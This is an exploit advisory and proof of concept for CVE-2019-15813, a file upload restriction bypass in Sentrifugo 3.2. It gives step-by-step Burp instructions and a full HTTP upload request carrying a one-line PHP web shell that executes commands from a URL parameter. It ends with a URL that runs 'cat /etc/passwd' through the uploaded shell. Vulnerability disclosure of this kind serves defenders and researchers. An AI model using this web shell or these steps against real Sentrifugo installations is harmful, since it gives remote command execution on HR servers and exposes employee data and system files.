Sentrifugo 3.2 - File Upload Restriction Bypass

# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass 
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15813

Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.

File upload bypass locations:

/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)


# POC

1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
2. Turn Burp Intercept On
3. Select webshell with valid extension - ex: shell.php.doc
4. Alter request in the upload...
   Update 'filename' to desired extension. ex: shell.php
   Change content type to 'application/x-httpd-php'

Example exploitation request:

====================================================================================================

POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1
Host: 10.42.1.42
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Length: 494
Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5
Connection: close

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: application/x-httpd-php

<?php $cmd=$_GET['cmd']; system($cmd);?>

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507--

====================================================================================================

5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.
6. Append above saved parameter and visit your new webshell
   Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd